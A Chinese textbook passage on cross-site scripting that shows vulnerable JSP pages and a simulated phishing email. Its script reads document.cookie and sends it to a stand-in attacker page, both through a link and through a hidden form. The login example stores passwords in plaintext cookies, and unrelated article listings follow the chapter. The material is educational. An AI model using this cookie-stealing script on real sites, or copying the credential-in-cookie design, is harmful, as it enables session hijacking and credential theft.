8.4 Web跨站脚本攻击

8.4.1  跨站脚本攻击的原理(1)

跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS。但是,由于层叠样式表 (Cascading Style Sheets)的缩写也为CSS,为不与其混淆,特将跨站脚本缩写为XSS。

跨站脚本,顾名思义,就是恶意攻击者利用网站漏洞往Web页面里插入恶意代码,一般需要以下几个条件:

客户端访问的网站是一个有漏洞的网站,但是他没有意识到;

在这个网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);

客户点击后,代码执行,可以达到攻击目的。

XSS属于被动式的攻击。为了让读者了解XSS,首先我们举一个简单的例子。有一个应用,负责进行书本查询,代码如下:

query.jsp

 <%@ page language="java" import="java.util.*"
pageEncoding="gb2312"%>
欢迎查询书本
<form action="queryResult.jsp" method="post">
请您输入书本的信息:<BR>
<input name="book" type="text" size="">
<input type="submit" value="查询">
</form>

运行结果如下:

运行query.jsp,输入正常数据,如"Java":

提交,显示的结果是:

结果没有问题。但是该程序有漏洞。比如,客户输入"<I><FONT SIZE=7>Java</FONT></I>":

查询显示的结果为:

该问题是网站对输入的内容没有进行任何标记检查造成的。打开queryResult.jsp的客户端源代码,显示为:

更有甚者,我们可以输入某个网站上的一幅图片地址(此处引用google首页上的logo图片):

显示结果为:

很显然,结果很不正常!

以上只是说明了该表单提交没有对标记进行检查,还没有起到攻击的作用。为了进行攻击,我们将输入变成脚本:

8.4.1  跨站脚本攻击的原理(2)

提交,结果为:

说明脚本也可以执行,打开queryResult.jsp客户端源代码,为:

于是,程序可以让攻击者利用脚本进行一些隐秘信息的获取了!输入如下查询关键字:

提交,得到结果:

消息框中,将当前登录的sessionId显示出来了。很显然,该sessionId如果被攻击者知道,就可以访问服务器端的该用户session,获取一些信息。

提示

在JSP系列中, sessionId保存在Cookie中。

实际的攻击是怎样进行的呢?如前所述,攻击者为了得到客户的隐秘信息,一般会在网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);客户点击后,代码执行,可以达到攻击目的。比如,可以给客户发送一个邮件,吸引客户点击某个链接。

以下模拟了一个通过邮件点击链接的攻击过程。攻击者给客户发送一个邮件,并且在电子邮件中,通过某个利益的诱惑,鼓动用户尽快访问某个网站,并在邮件中给一个地址链接,这个链接的URL中含有脚本,客户在点击的过程中,就执行了这段代码。

我们模拟一个邮箱系统,首先是用户登录页面,当用户登录成功后,为了以后操作方便,该网站采用了"记住登录状态"的功能,将自己的用户名和密码放入cookie,并保存在客户端:

login.jsp

 <%@ page language="java" import="java.util.*"
pageEncoding="gb2312"%>
欢迎登录邮箱
<form action="login.jsp" method="post">
请您输入账号:
<input name="account" type="text">
<BR>
请您输入密码:
<input name="password" type="password">
<BR>
<input type="submit" value="登录">
</form>
<%
//获取账号密码
String account = request.getParameter("account");
String password = request.getParameter("password");
if(account!=null)
{
//验证账号密码,假如账号密码相同表示登录成功
if(account.equals(password))
{
//放入session,跳转到下一个页面
session.setAttribute("account",account);
//将自己的用户名和密码放入cookie
response.addCookie(new Cookie("account",account));
response.addCookie(new Cookie("password",password));
response.sendRedirect("loginResult.jsp");
}
else
{
out.println("登录不成功");
}
}
%>

8.4.1  跨站脚本攻击的原理(3)

运行,得到界面如下:

输入正确的账号密码(如guokehua,guokehua),如果登录成功,程序跳到loginResult.jsp,并在页面底部有一个"查看邮件"链接(当然,可能还有其他功能,在此省略)。代码如下:

loginResult.jsp

 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%>
<%//session检查
String account = (String)session.getAttribute("account");
if(account==null)
{
response.sendRedirect("login.jsp");
}
%>
欢迎<%=account%>来到邮箱!
<HR>
<a href="mailList.jsp">查看邮箱</a>

运行效果如下:

为了模拟攻击,点击"查看邮箱",我们在里面放置一封"邮件"(该邮件的内容由攻击者撰写)。代码如下:

mailList.jsp

 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%>
<%
//session检查,代码略
%>
<!—以下是攻击者发送的一个邮件-->
这里有一封新邮件,您中奖了,您有兴趣的话可以点击:<BR>
<script type="text/javascript">
function send()
{
var cookie = document.cookie;
window.location.href = "
http://localhost/attackPage.asp?cookies=" + cookie;
}
</script>
<a onClick="send()"><u>领奖</u></a>

效果如下:

注意,这里的"领奖"链接,链接到另一个网站,该网站一般是攻击者自行建立。,为了保证真实性,我们在IIS下用ASP写了一个网页,因为攻击者页面和被攻击者页面一般不是在一个网站内,其URL为:

http://localhost/attackPage.asp

很明显,如果用户点击,脚本中的send函数会运行,并将内容发送给http://localhost/attackPage.asp。假设http://localhost/attackPage.asp的源代码如下:

http://localhost/attackPage.asp

 <%@ Language = "VBScript" %>
这是模拟的攻击网站(IIS)<BR>
刚才从用户处得到的cookie值为:<BR>
<%=request("cookies")%>

注意,attackPage.asp要在IIS中运行,和前面的例子运行的不是一个服务器。

用户如果点击了"领奖"链接,attackPage.jsp上显示:

Cookie中的所有值都被攻击者知道了!特别是sessionId的泄露,说明攻击者还具有了访问session的可能!

此时,客户浏览器的地址栏上URL变为(读者运行时,具体内容可能不一样,但是基本效果相同):

http://localhost/attackPage.asp?cookies=account
=guokehua;%20password=guokehua;%20JSESSIONID=
135766E8D33B380E426126474E28D9A9;%
0ASPSESSIONIDQQCADQDT=KFELIGFCPPGPHLFEDCKIPKDF

8.4.1  跨站脚本攻击的原理(4)

从这个含有恶意的脚本的URL中,比较容易发现受到了攻击,因为URL后面的查询字符串一眼就能看出来。聪明的攻击者还可以将脚本用隐藏表单隐藏起来。将mailList.jsp的代码改为:

mailList.jsp

 <%@ page language="java" import="java.util.*"
pageEncoding="gb2312"%>
<%
//session检查,代码略
%>
<!—以下是攻击者发送的一个邮件-->
这里有一封新邮件,您中奖了,请您填写您的姓名并且提交:<BR>
<script type="text/javascript">
function send()
{
var cookie = document.cookie;
document.form1.cookies.value=cookie;
document.form1.submit();
}
</script>
<form name="form1" action="http://
localhost/attackPage.asp" method="post">
输入姓名:<input name="">
<input type="hidden" name="cookies">
<input type="button" value="提交姓名" onClick="send()">
</form>

该处将脚本用隐藏表单隐藏起来。输入姓名的文本框只是一个伪装。效果为:

attackPage.asp不变。不管你输入什么姓名,到达attackPage.asp都会显示:

也可以达到攻击目的。而此时,浏览器地址栏中显示为:

用户不知不觉受到了攻击。

提示

实际攻击的过程中,cookie的值可以被攻击者保存到数据库或者通过其他手段得知,也就是说,cookie的值不可能直接在攻击页面上显示,否则很容易被用户发现,这里只是模拟。

从以上例子可以看出,XSS可以诱使Web站点执行本来不属于它的代码,而这些行代码由攻击者提供、为用户浏览器加载,攻击者利用这些代码执行来获取信息。XSS涉及到三方,即攻击者、客户端与客户端访问的网站。XSS的攻击目标是盗取客户端的敏感信息。从本质上讲,XSS漏洞终究原因是由于网站的Web应用对用户提交请求参数未做充分的检查过滤。

8.4.2  跨站脚本攻击的危害

XSS攻击的主要危害包括:

盗取用户的各类敏感信息,如账号密码等;

读取、篡改、添加、删除企业敏感数据;

读取企业重要的具有商业价值的资料;

控制受害者机器向其它网站发起攻击;等等。

SQL注入和XSS攻击的原理的更多相关文章

  1. SQL 注入、XSS 攻击、CSRF 攻击

    SQL 注入.XSS 攻击.CSRF 攻击 SQL 注入 什么是 SQL 注入 SQL 注入,顾名思义就是通过注入 SQL 命令来进行攻击,更确切地说攻击者把 SQL 命令插入到 web 表单或请求参 ...

  2. yii框架各种防止sql注入,xss攻击,csrf攻击

    PHP中常用到的方法有: /*  防sql注入,xss攻击  (1)*/    function actionClean($str)    {        $str=trim($str);      ...

  3. 防止sql注入。xss攻击 方法

    //防止sql注入.xss攻击    /**     * 过滤参数     * @param string $str 接受的参数     * @return string     */    publ ...

  4. 防止SQL注入和XSS攻击Filter

    nbsp;今天系统使用IBM的安全漏洞扫描工具扫描出一堆漏洞,下面的filter主要是解决防止SQL注入和XSS攻击 一个是Filter负责将请求的request包装一下. 一个是request包装器 ...

  5. PHP防止SQL注入和XSS攻击

    PHP防止SQL注入和XSS攻击PHP防范SQL注入是一个非常重要的安全手段.一个优秀的PHP程序员除了要能顺利的编写代码,还需要具备使程序处于安全环境下的能力.说到网站安全,就不得不提到SQL注入( ...

  6. Nginx 防止SQL注入、XSS攻击的实践配置方法

    下班的时候,发现博客访问缓慢,甚至出现504错误,通过 top -i 命令查看服务器负载发现负载数值飙升到3.2之多了,并且持续时间越来越频繁直至持续升高的趋势,还以为是被攻击了,对来访IP进行了阈值 ...

  7. SQL注入和XSS攻击

    SQL注入 定义:黑客通过在请求的数据中填入特殊字符,影响服务器数据库操作程序正常执行,从而达到攻击的目的. 形式: 拼接SQL: 登录验证:前台输入 username:yan password:12 ...

  8. Node.js 项目中解决 SQL 注入和 XSS 攻击

    1.SQL 注入 SQL 注入,一般是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令. SQL 注入示例 在登录界面,后端会根 ...

  9. 解决 SQL 注入和 XSS 攻击(Node.js 项目中)

    1.SQL 注入 SQL 注入,一般是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令. SQL 注入示例 在登录界面,后端会根 ...

随机推荐

  1. 洛谷 P1372 又是毕业季I

    可能所有的数论题都是这样玄学.... 题目链接:https://www.luogu.org/problemnew/show/P1372 这道题通过暴力的枚举可以发现是不可做的(当然我也不会做) 然后就 ...

  2. ios网络 -- HTTP请求 and 文件下载/断点下载

    一:请求 http://www.jianshu.com/p/8a90aa6bad6b 二:下载 iOS网络--『文件下载.断点下载』的实现(一):NSURLConnection http://www. ...

  3. DHCP协议及基本实现原理

    DHCP(Dynamic Host Configuration Protocol):动态主机配置协议. DHCP的优缺点 DHCP服务优点:网络管理员可以验证IP地址和其它配置参数,而不用去检查每个主 ...

  4. gevent 传参, 中文编码

    #coding=utf-8 import os from gevent import monkey,pool monkey.patch_all() import gevent import time ...

  5. python学习之路---day26

    网络的基本知识点 一:网络通信原理 连接两台计算机之间的Internet之间的协议一系列协议为互联网协议 互联网协议的功能是:定义计算机如何接入Internet,以及Internet的计算机通信标准 ...

  6. rest-assured的默认值与Specification重用

    一.默认值 rest-assured发起请求时,默认使用的host为localhost,端口为8080,如果你想使用不同的端口,你可以这样做: given().port(80)...... 或者是简单 ...

  7. 【算法笔记】B1036 跟奥巴马一起编程

    1036 跟奥巴马一起编程 (15 分) 美国总统奥巴马不仅呼吁所有人都学习编程,甚至以身作则编写代码,成为美国历史上首位编写计算机代码的总统.2014 年底,为庆祝“计算机科学教育周”正式启动,奥巴 ...

  8. UVA - 11584 DP 最少线段覆盖

    题意:用最少的不可交线段覆盖整个区间,求该最小值 课上摸鱼的时候没注意到题意的转换,写了没啥卵用的回文中心最长枚举,所以代码里的st和h/h2是几乎没用的 注意状态转移的时候不要只用最长线段去转移,这 ...

  9. B - Toy Storage(POJ - 2398) 计算几何基础题,比TOYS多了个线段排序

    Mom and dad have a problem: their child, Reza, never puts his toys away when he is finished playing ...

  10. MariaDB 密码,新用户添加

    修改root密码1.以root身份在终端登陆(必须)2.输入 mysqladmin -u root -p password ex后面的 ex 是要设置的密码3.回车后出现 Enter password ...